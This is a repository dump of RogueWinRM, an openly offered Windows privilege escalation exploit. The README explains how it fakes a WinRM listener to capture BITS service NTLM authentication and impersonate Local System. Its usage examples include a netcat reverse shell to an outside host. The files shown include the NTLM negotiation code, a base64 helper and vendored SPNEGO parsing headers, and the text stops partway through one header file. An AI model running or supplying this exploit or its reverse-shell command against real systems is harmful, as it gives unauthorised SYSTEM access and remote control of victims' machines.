├── .gitattributes
├── RogueWinRM.vcxproj.user
├── base64.h
├── LocalNegotiator.h
├── RogueWinRM.vcxproj.filters
├── RogueWinRM.sln
├── README.md
├── LocalNegotiator.cpp
├── base64.cpp
├── spnegotokenhandler
├── spnegoparse.h
├── spnego.h
├── derparse.h
├── derparse.c
├── spnego.c
└── spnegoparse.c
├── RogueWinRM.vcxproj
├── RogueWinRM.cpp
└── LICENSE
/.gitattributes:
--------------------------------------------------------------------------------
1 | spnegotokenhandler/* linguist-vendored
2 |
--------------------------------------------------------------------------------
/RogueWinRM.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/base64.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | char* base64_encode(const unsigned char*, size_t, size_t*);
3 | unsigned char* base64_decode(const char*, size_t, size_t*);
4 | void build_decoding_table();
5 | void base64_cleanup();
--------------------------------------------------------------------------------
/LocalNegotiator.h:
--------------------------------------------------------------------------------
1 | #define SECURITY_WIN32
2 |
3 | #pragma once
4 | #include
5 | #include
6 |
7 | #pragma comment (lib, "Secur32.Lib")
8 |
9 | class LocalNegotiator
10 | {
11 | public:
12 | LocalNegotiator();
13 | int handleType1(char* ntlmBytes, int len);
14 | int handleType3(char* ntlmBytes, int len);
15 | char* returnType2(unsigned long*);
16 | PCtxtHandle phContext;
17 | int authResult;
18 |
19 | private:
20 | CredHandle hCred;
21 | SecBufferDesc secClientBufferDesc, secServerBufferDesc;
22 | SecBuffer secClientBuffer, secServerBuffer;
23 | };
24 |
25 |
--------------------------------------------------------------------------------
/RogueWinRM.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | spnegotokenhandler
9 |
10 |
11 | spnegotokenhandler
12 |
13 |
14 | spnegotokenhandler
15 |
16 |
17 |
18 |
19 |
20 |
21 | spnegotokenhandler
22 |
23 |
24 | spnegotokenhandler
25 |
26 |
27 | spnegotokenhandler
28 |
29 |
30 |
31 |
32 | {676a000f-a4e1-4697-9eb7-3ef89d7dc2a0}
33 |
34 |
35 |
--------------------------------------------------------------------------------
/RogueWinRM.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29230.47
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RogueWinRM", "RogueWinRM.vcxproj", "{B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x64.ActiveCfg = Debug|x64
17 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x64.Build.0 = Debug|x64
18 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x86.ActiveCfg = Debug|Win32
19 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x86.Build.0 = Debug|Win32
20 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x64.ActiveCfg = Release|x64
21 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x64.Build.0 = Release|x64
22 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x86.ActiveCfg = Release|Win32
23 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {1AEBEBE9-97B2-4942-9297-7837D3B86506}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RogueWinRM
2 |
3 | RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (**default on Win10 but NOT on Windows Server 2019**).
4 |
5 | Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
6 | It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
7 | Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.
8 |
9 | You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
10 |
11 | # Usage
12 |
13 | ```
14 | RogueWinRM
15 |
16 | Mandatory args:
17 | -p : program to launch
18 |
19 | Optional args:
20 | -a : command line argument to pass to program (default NULL)
21 | -l : listening port (default 5985 WinRM)
22 | -d : Enable Debugging output
23 | ```
24 |
25 | # Examples
26 |
27 | 
28 |
29 | Running an interactive cmd:
30 |
31 | ```
32 | RogueWinRM.exe -p C:\windows\system32\cmd.exe
33 | ```
34 |
35 | Running netcat reverse shell:
36 |
37 | ```
38 | RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"
39 | ```
40 |
41 | # Authors
42 |
43 | * [Antonio Cocomazzi](https://twitter.com/splinter_code)
44 | * [Andrea Pierini](https://twitter.com/decoder_it)
45 | * Roberto (0xea31)
46 |
--------------------------------------------------------------------------------
/LocalNegotiator.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "LocalNegotiator.h"
3 | #include
4 |
5 | LocalNegotiator::LocalNegotiator()
6 | {
7 | authResult = -1;
8 | }
9 |
10 | void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
11 | {
12 | pSecBuffer->BufferType = SECBUFFER_TOKEN;
13 | pSecBuffer->cbBuffer = 0;
14 | pSecBuffer->pvBuffer = nullptr;
15 |
16 | pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
17 | pSecBufferDesc->cBuffers = 1;
18 | pSecBufferDesc->pBuffers = pSecBuffer;
19 | }
20 |
21 | int LocalNegotiator::handleType1(char* ntlmBytes, int len)
22 | {
23 | //printf("\n--handleType1 start --\n");
24 | TCHAR lpPackageName[1024] = L"Negotiate";
25 | TimeStamp ptsExpiry;
26 |
27 | int status = AcquireCredentialsHandle(
28 | NULL,
29 | lpPackageName,
30 | SECPKG_CRED_INBOUND,
31 | NULL,
32 | NULL,
33 | 0,
34 | NULL,
35 | &hCred,
36 | &ptsExpiry);
37 |
38 | if (status != SEC_E_OK)
39 | {
40 | printf("Error in AquireCredentialsHandle");
41 | return -1;
42 | }
43 |
44 | InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
45 | InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
46 |
47 | phContext = new CtxtHandle();
48 |
49 | secClientBuffer.cbBuffer = static_cast(len);
50 | secClientBuffer.pvBuffer = ntlmBytes;
51 |
52 | ULONG fContextAttr;
53 | TimeStamp tsContextExpiry;
54 |
55 | status = AcceptSecurityContext(
56 | &hCred,
57 | nullptr,
58 | &secClientBufferDesc,
59 | ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
60 | //STANDARD_CONTEXT_ATTRIBUTES,
61 | SECURITY_NATIVE_DREP,
62 | phContext,
63 | &secServerBufferDesc,
64 | &fContextAttr,
65 | &tsContextExpiry);
66 |
67 | //printf("\n-- Result of AcceptSecurityContext() = status: 0x%x--\n", status);
68 | //printf("\n--handleType1 end --\n");
69 | return status;
70 | }
71 |
72 |
73 | int LocalNegotiator::handleType3(char* ntlmBytes, int len)
74 | {
75 | //printf("\n--handleType3 start --\n");
76 |
77 | InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
78 | InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
79 |
80 | secClientBuffer.cbBuffer = static_cast(len);
81 | secClientBuffer.pvBuffer = ntlmBytes;
82 |
83 | ULONG fContextAttr;
84 | TimeStamp tsContextExpiry;
85 | int status = AcceptSecurityContext(
86 | &hCred,
87 | phContext,
88 | &secClientBufferDesc,
89 | ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
90 | //STANDARD_CONTEXT_ATTRIBUTES,
91 | SECURITY_NATIVE_DREP,
92 | phContext,
93 | &secServerBufferDesc,
94 | &fContextAttr,
95 | &tsContextExpiry);
96 |
97 | authResult = status;
98 |
99 | //printf("\n-- Result of AcceptSecurityContext() = status: 0x%x--\n", status);
100 | //printf("\n--handleType3 end --\n");
101 | return status;
102 | }
103 |
104 | char* LocalNegotiator::returnType2(unsigned long* outbuffer_len) {
105 | *outbuffer_len = secServerBuffer.cbBuffer;
106 | return (char*)secServerBuffer.pvBuffer;
107 | }
108 |
--------------------------------------------------------------------------------
/base64.cpp:
--------------------------------------------------------------------------------
1 | #include "base64.h"
2 | #include
3 | #include
4 |
5 |
6 | static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
7 | 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
8 | 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
9 | 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
10 | 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
11 | 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
12 | 'w', 'x', 'y', 'z', '0', '1', '2', '3',
13 | '4', '5', '6', '7', '8', '9', '+', '/' };
14 | static char* decoding_table = NULL;
15 | static int mod_table[] = { 0, 2, 1 };
16 |
17 |
18 |
19 | void build_decoding_table() {
20 |
21 | decoding_table = (char*)malloc(256);
22 |
23 | for (int i = 0; i < 64; i++)
24 | decoding_table[(unsigned char)encoding_table[i]] = i;
25 | }
26 |
27 |
28 | void base64_cleanup() {
29 | free(decoding_table);
30 | }
31 |
32 | char* base64_encode(const unsigned char* data,
33 | size_t input_length,
34 | size_t* output_length) {
35 |
36 | *output_length = 4 * ((input_length + 2) / 3);
37 |
38 | char* encoded_data = (char*)malloc(*output_length);
39 | if (encoded_data == NULL) return NULL;
40 |
41 | for (int i = 0, j = 0; i < input_length;) {
42 |
43 | uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;
44 | uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;
45 | uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;
46 |
47 | uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
48 |
49 | encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
50 | encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
51 | encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
52 | encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
53 | }
54 |
55 | for (int i = 0; i < mod_table[input_length % 3]; i++)
56 | encoded_data[*output_length - 1 - i] = '=';
57 |
58 | return encoded_data;
59 | }
60 |
61 |
62 | unsigned char* base64_decode(const char* data,
63 | size_t input_length,
64 | size_t* output_length) {
65 |
66 | if (decoding_table == NULL) build_decoding_table();
67 |
68 | if (input_length % 4 != 0) return NULL;
69 |
70 | *output_length = input_length / 4 * 3;
71 | if (data[input_length - 1] == '=') (*output_length)--;
72 | if (data[input_length - 2] == '=') (*output_length)--;
73 |
74 | unsigned char* decoded_data = (unsigned char*)malloc(*output_length);
75 | if (decoded_data == NULL) return NULL;
76 |
77 | for (int i = 0, j = 0; i < input_length;) {
78 |
79 | uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
80 | uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
81 | uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
82 | uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
83 |
84 | uint32_t triple = (sextet_a << 3 * 6)
85 | + (sextet_b << 2 * 6)
86 | + (sextet_c << 1 * 6)
87 | + (sextet_d << 0 * 6);
88 |
89 | if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;
90 | if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;
91 | if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;
92 | }
93 |
94 | return decoded_data;
95 | }
--------------------------------------------------------------------------------
/spnegotokenhandler/spnegoparse.h:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2002 Microsoft Corporation
2 | // All rights reserved.
3 | //
4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS"
5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED
7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE.
9 | //
10 | // Date - 10/08/2002
11 | // Author - Sanj Surati
12 |
13 | /////////////////////////////////////////////////////////////
14 | //
15 | // SPNEGOPARSE.H
16 | //
17 | // SPNEGO Token Parser Header File
18 | //
19 | // Contains the definitions required to properly parse a
20 | // SPNEGO token using ASN.1 DER helpers.
21 | //
22 | /////////////////////////////////////////////////////////////
23 |
24 | #ifndef __SPNEGOPARSE_H__
25 | #define __SPNEGOPARSE_H__
26 |
27 | // C++ Specific
28 | #if defined(__cplusplus)
29 | extern "C"
30 | {
31 | #endif
32 |
33 | // Indicates if we copy data when creating a SPNEGO_TOKEN structure or not
34 | #define SPNEGO_TOKEN_INTERNAL_COPYPTR 0
35 | #define SPNEGO_TOKEN_INTERNAL_COPYDATA 0x1
36 |
37 | // Internal flag dictates whether or not we will free the binary data when
38 | // the SPNEG_TOKEN structure is destroyed
39 | #define SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA 0x1
40 |
41 | //
42 | // Each SPNEGO Token Type can be broken down into a
43 | // maximum of 4 separate elements.
44 | //
45 |
46 | #define MAX_NUM_TOKEN_ELEMENTS 4
47 |
48 | //
49 | // Element offsets in the array
50 | //
51 |
52 | // INIT elements
53 | #define SPNEGO_INIT_MECHTYPES_ELEMENT 0
54 | #define SPNEGO_INIT_REQFLAGS_ELEMENT 1
55 | #define SPNEGO_INIT_MECHTOKEN_ELEMENT 2
56 | #define SPNEGO_INIT_MECHLISTMIC_ELEMENT 3
57 |
58 | // Response elements
59 | #define SPNEGO_TARG_NEGRESULT_ELEMENT 0
60 | #define SPNEGO_TARG_SUPPMECH_ELEMENT 1
61 | #define SPNEGO_TARG_RESPTOKEN_ELEMENT 2
62 | #define SPNEGO_TARG_MECHLISTMIC_ELEMENT 3
63 |
64 | //
65 | // Defines an individual SPNEGO Token Element.
66 | //
67 |
68 | typedef struct SpnegoElement
69 | {
70 | size_t nStructSize; // Size of the element structure
71 | int iElementPresent; // Is the field present? Must be either
72 | // SPNEGO_TOKEN_ELEMENT_UNAVAILABLE or
73 | // SPNEGO_TOKEN_ELEMENT_AVAILABLE
74 |
75 | SPNEGO_ELEMENT_TYPE eElementType; // The Element Type
76 |
77 | unsigned char type; // Data Type
78 |
79 | unsigned char* pbData; // Points to actual Data
80 |
81 | unsigned long nDatalength; // Actual Data Length
82 |
83 | } SPNEGO_ELEMENT;
84 |
85 | // Structure size in case we later choose to extend the structure
86 | #define SPNEGO_ELEMENT_SIZE sizeof(SPNEGO_ELEMENT)
87 |
88 | //
89 | // Packages a SPNEGO Token Encoding. There are two types of
90 | // encodings: NegTokenInit and NegTokenTarg. Each encoding can
91 | // contain up to four distinct, optional elements.
92 | //
93 |
94 | typedef struct SpnegoToken
95 | {
96 | size_t nStructSize; // Size of the Token structure
97 | unsigned long ulFlags; // Internal Structure Flags - Reserved!
98 | int ucTokenType; // Token Type - Must be
99 | // SPNEGO_TOKEN_INIT or
100 | // SPNEGO_TOKEN_TARG
101 |
102 | unsigned char* pbBinaryData; // Points to binary token data
103 |
104 | unsigned long ulBinaryDataLen; // Length of the actual binary data
105 | int nNumElements; // Number of elements
106 | SPNEGO_ELEMENT aElementArray[MAX_NUM_TOKEN_ELEMENTS]; // Holds the elements for the token
107 | } SPNEGO_TOKEN;
108 |
109 | // Structure size in case we later choose to extend the structure
110 | #define SPNEGO_TOKEN_SIZE sizeof(SPNEGO_TOKEN)
111 |
112 | //
113 | // Function definitions
114 | //
115 |
116 | SPNEGO_TOKEN* AllocEmptySpnegoToken(unsigned char ucCopyData, unsigned long ulFlags,
117 | unsigned char* pbTokenData, unsigned long ulTokenSize);
118 | void FreeSpnegoToken(SPNEGO_TOKEN* pSpnegoToken);
119 | void InitSpnegoTokenElementArray(SPNEGO_TOKEN* pSpnegoToken);
120 | int InitSpnegoTokenType(SPNEGO_TOKEN* pSpnegoToken, long* pnTokenLength,
121 | long* pnRemainingTokenLength, unsigned char** ppbFirstElement);
122 | int InitSpnegoTokenElements(SPNEGO_TOKEN* pSpnegoToken, unsigned char* pbTokenData,
123 | long nRemainingTokenLength);
124 | int GetSpnegoInitTokenMechList(unsigned char* pbTokenData, int nMechListLength,
125 | SPNEGO_ELEMENT* pSpnegoElement);
126 | int InitSpnegoTokenElementFromBasicType(unsigned char* pbTokenData, int nElementLength,
127 | unsigned char ucExpectedType,
128 | SPNEGO_ELEMENT_TYPE spnegoElementType,
129 | SPNEGO_ELEMENT* pSpnegoElement);
130 | int InitSpnegoTokenElementFromOID(unsigned char* pbTokenData, int nElementLength,
131 | SPNEGO_ELEMENT_TYPE spnegoElementType,
132 | SPNEGO_ELEMENT* pSpnegoElement);
133 | int FindMechOIDInMechList(SPNEGO_ELEMENT* pSpnegoElement, SPNEGO_MECH_OID MechOID,
134 | int* piMechTypeIndex);
135 | int ValidateMechList(unsigned char* pbMechListData, long nBoundaryLength);
136 | int CalculateMinSpnegoInitTokenSize(long nMechTokenLength, long nMechListMICLength,
137 | SPNEGO_MECH_OID mechOid, int nReqFlagsAvailable,
138 | long* plTokenSize, long* plInternalLength);
139 | int CalculateMinSpnegoTargTokenSize(SPNEGO_MECH_OID MechType, SPNEGO_NEGRESULT spnegoNegResult,
140 | long nMechTokenLen,
141 | long nMechTokenMIC, long* pnTokenSize,
142 | long* pnInternalTokenLength);
143 | int CreateSpnegoInitToken(SPNEGO_MECH_OID MechType,
144 | unsigned char ucContextFlags, unsigned char* pbMechToken,
145 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
146 | unsigned long ulMechListMICLen, unsigned char* pbTokenData,
147 | long nTokenLength, long nInternalTokenLength);
148 | int CreateSpnegoTargToken(SPNEGO_MECH_OID MechType,
149 | SPNEGO_NEGRESULT eNegResult, unsigned char* pbMechToken,
150 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
151 | unsigned long ulMechListMICLen, unsigned char* pbTokenData,
152 | long nTokenLength, long nInternalTokenLength);
153 | int IsValidMechOid(SPNEGO_MECH_OID mechOid);
154 | int IsValidContextFlags(unsigned char ucContextFlags);
155 | int IsValidNegResult(SPNEGO_NEGRESULT negResult);
156 | int IsValidSpnegoToken(SPNEGO_TOKEN* pSpnegoToken);
157 | int IsValidSpnegoElement(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement);
158 | int CalculateElementArrayIndex(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement);
159 | int InitTokenFromBinary(unsigned char ucCopyData, unsigned long ulFlags,
160 | unsigned char* pbTokenData, unsigned long ulLength,
161 | SPNEGO_TOKEN** ppSpnegoToken);
162 |
163 | // C++ Specific
164 | #if defined(__cplusplus)
165 | }
166 | #endif
167 |
168 | #endif
--------------------------------------------------------------------------------
/spnegotokenhandler/spnego.h:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2002 Microsoft Corporation
2 | // All rights reserved.
3 | //
4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS"
5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED
7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE.
9 | //
10 | // Date - 10/08/2002
11 | // Author - Sanj Surati
12 |
13 | /////////////////////////////////////////////////////////////
14 | //
15 | // SPNEGO.H
16 | //
17 | // SPNEGO Token Handler Header File
18 | //
19 | // Contains the definitions required to interpret and create
20 | // SPNEGO tokens so that Kerberos GSS tokens can be
21 | // Unpackaged/packaged.
22 | //
23 | /////////////////////////////////////////////////////////////
24 |
25 | #ifndef __SPNEGO_H__
26 | #define __SPNEGO_H__
27 |
28 | // C++ Specific
29 | #if defined(__cplusplus)
30 | extern "C"
31 | {
32 | #endif
33 |
34 | // Type Definitions
35 |
36 | //
37 | // Users of SPNEGO Token Handler API will request
38 | // these as well as free them,
39 | //
40 | typedef void* SPNEGO_TOKEN_HANDLE;
41 |
42 | //
43 | // Defines the element types that are found
44 | // in each of the tokens.
45 | //
46 |
47 | typedef enum spnego_element_type
48 | {
49 | spnego_element_min, // Lower bound
50 |
51 | // Init token elements
52 | spnego_init_mechtypes,
53 | spnego_init_reqFlags,
54 | spnego_init_mechToken,
55 | spnego_init_mechListMIC,
56 |
57 | // Targ token elements
58 | spnego_targ_negResult,
59 | spnego_targ_supportedMech,
60 | spnego_targ_responseToken,
61 | spnego_targ_mechListMIC,
62 |
63 | spnego_element_max // Upper bound
64 |
65 | } SPNEGO_ELEMENT_TYPE;
66 |
67 | //
68 | // Token Element Availability. Elements in both
69 | // token types are optional. Since there are only
70 | // 4 elements in each Token, we will allocate space
71 | // to hold the information, but we need a way to
72 | // indicate whether or not an element is available
73 | //
74 |
75 | #define SPNEGO_TOKEN_ELEMENT_UNAVAILABLE 0
76 | #define SPNEGO_TOKEN_ELEMENT_AVAILABLE 1
77 |
78 | //
79 | // Token type values. SPNEGO has 2 token types:
80 | // NegTokenInit and NegTokenTarg
81 | //
82 |
83 | #define SPNEGO_TOKEN_INIT 0
84 | #define SPNEGO_TOKEN_TARG 1
85 |
86 | //
87 | // GSS Mechanism OID enumeration. We only really handle
88 | // 3 different OIDs. These are stored in an array structure
89 | // defined in the parsing code.
90 | //
91 |
92 | typedef enum spnego_mech_oid
93 | {
94 | // Init token elements
95 | spnego_mech_oid_Kerberos_V5_Legacy, // Really V5, but OID off by 1 bit
96 | spnego_mech_oid_Kerberos_V5,
97 | spnego_mech_oid_Spnego,
98 | spnego_mech_oid_NTLMSSP,
99 | spnego_mech_oid_NotUsed = -1
100 |
101 | } SPNEGO_MECH_OID;
102 |
103 | //
104 | // Defines the negResult values.
105 | //
106 |
107 | typedef enum spnego_negResult
108 | {
109 | spnego_negresult_success,
110 | spnego_negresult_incomplete,
111 | spnego_negresult_rejected,
112 | spnego_negresult_NotUsed = -1
113 | } SPNEGO_NEGRESULT;
114 |
115 | //
116 | // Context Flags in NegTokenInit
117 | //
118 |
119 | //
120 | // ContextFlags values MUST be zero or a combination
121 | // of the below
122 | //
123 |
124 | #define SPNEGO_NEGINIT_CONTEXT_DELEG_FLAG 0x80
125 | #define SPNEGO_NEGINIT_CONTEXT_MUTUAL_FLAG 0x40
126 | #define SPNEGO_NEGINIT_CONTEXT_REPLAY_FLAG 0x20
127 | #define SPNEGO_NEGINIT_CONTEXT_SEQUENCE_FLAG 0x10
128 | #define SPNEGO_NEGINIT_CONTEXT_ANON_FLAG 0x8
129 | #define SPNEGO_NEGINIT_CONTEXT_CONF_FLAG 0x4
130 | #define SPNEGO_NEGINIT_CONTEXT_INTEG_FLAG 0x2
131 |
132 | //
133 | // Mask to retrieve valid values.
134 | //
135 |
136 | #define SPNEGO_NEGINIT_CONTEXT_MASK 0xFE // Logical combination of above flags
137 |
138 | //
139 | // SPNEGO API return codes.
140 | //
141 |
142 | // API function was successful
143 | #define SPNEGO_E_SUCCESS 0
144 |
145 | // The supplied Token was invalid
146 | #define SPNEGO_E_INVALID_TOKEN -1
147 |
148 | // An invalid length was encountered
149 | #define SPNEGO_E_INVALID_LENGTH -2
150 |
151 | // The Token Parse failed
152 | #define SPNEGO_E_PARSE_FAILED -3
153 |
154 | // The requested value was not found
155 | #define SPNEGO_E_NOT_FOUND -4
156 |
157 | // The requested element is not available
158 | #define SPNEGO_E_ELEMENT_UNAVAILABLE -5
159 |
160 | // Out of Memory
161 | #define SPNEGO_E_OUT_OF_MEMORY -6
162 |
163 | // Not Implemented
164 | #define SPNEGO_E_NOT_IMPLEMENTED -7
165 |
166 | // Invalid Parameter
167 | #define SPNEGO_E_INVALID_PARAMETER -8
168 |
169 | // Token Handler encountered an unexpected OID
170 | #define SPNEGO_E_UNEXPECTED_OID -9
171 |
172 | // The requested token was not found
173 | #define SPNEGO_E_TOKEN_NOT_FOUND -10
174 |
175 | // An unexpected type was encountered in the encoding
176 | #define SPNEGO_E_UNEXPECTED_TYPE -11
177 |
178 | // The buffer was too small
179 | #define SPNEGO_E_BUFFER_TOO_SMALL -12
180 |
181 | // A Token Element was invalid (e.g. improper length or value)
182 | #define SPNEGO_E_INVALID_ELEMENT -13
183 |
184 | /* Miscelaneous API Functions */
185 |
186 | // Frees opaque data
187 | void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken);
188 |
189 | // Initializes SPNEGO_TOKEN structure from DER encoded binary data
190 | int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned long ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
191 |
192 | // Initializes SPNEGO_TOKEN structure for a NegTokenInit type using the
193 | // supplied parameters
194 | int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType,
195 | unsigned char ucContextFlags, unsigned char* pbMechToken,
196 | unsigned long ulMechTokenLen, unsigned char* pbMechTokenMIC,
197 | unsigned long ulMechTokenMIC, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
198 |
199 | // Initializes SPNEGO_TOKEN structure for a NegTokenTarg type using the
200 | // supplied parameters
201 | int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType,
202 | SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken,
203 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
204 | unsigned long ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
205 |
206 | // Copies binary representation of SPNEGO Data into user supplied buffer
207 | int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData,
208 | unsigned long* pulDataLen);
209 |
210 | // Returns SPNEGO Token Type
211 | int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType);
212 |
213 | /* Reading an Init Token */
214 |
215 | // Returns the Initial Mech Type in the MechList element in the NegInitToken.
216 | int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex);
217 |
218 | // Returns the value from the context flags element in the NegInitToken as an unsigned long
219 | int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags);
220 |
221 | /* Reading a Response Token */
222 |
223 | // Returns the value from the negResult element (Status code of GSS call - 0,1,2)
224 | int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult);
225 |
226 | // Returns the Supported Mech Type from the NegTokenTarg.
227 | int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID);
228 |
229 | /* Reading either Token Type */
230 |
231 | // Returns the actual Mechanism data from the token (this is what is passed into GSS-API functions
232 | int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned long* pulDataLen);
233 |
234 | // Returns the Message Integrity BLOB in the token
235 | int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned long* pulDataLen);
236 |
237 | // C++ Specific
238 | #if defined(__cplusplus)
239 | }
240 | #endif
241 |
242 | #endif
243 |
--------------------------------------------------------------------------------
/spnegotokenhandler/derparse.h:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2002 Microsoft Corporation
2 | // All rights reserved.
3 | //
4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS"
5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED
7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE.
9 | //
10 | // Date - 10/08/2002
11 | // Author - Sanj Surati
12 |
13 | /////////////////////////////////////////////////////////////
14 | //
15 | // DERPARSE.H
16 | //
17 | // SPNEGO Token Handler Header File
18 | //
19 | // Contains the definitions required to properly parse the
20 | // SPNEGO DER encoding.
21 | //
22 | /////////////////////////////////////////////////////////////
23 |
24 | #ifndef __DERPARSE_H__
25 | #define __DERPARSE_H__
26 |
27 | // C++ Specific
28 | #if defined(__cplusplus)
29 | extern "C"
30 | {
31 | #endif
32 |
33 | /* Identifier Types */
34 | #define IDENTIFIER_MASK 0xC0 // Bits 7 and 8
35 | #define IDENTIFIER_UNIVERSAL 0x00 // 00 = universal
36 | #define IDENTIFIER_APPLICATION 0x40 // 01 = application
37 | #define IDENTIFIER_CONTEXT_SPECIFIC 0x80 // 10 = context specific
38 | #define IDENTIFIER_PRIVATE 0xC0 // 11 = Private
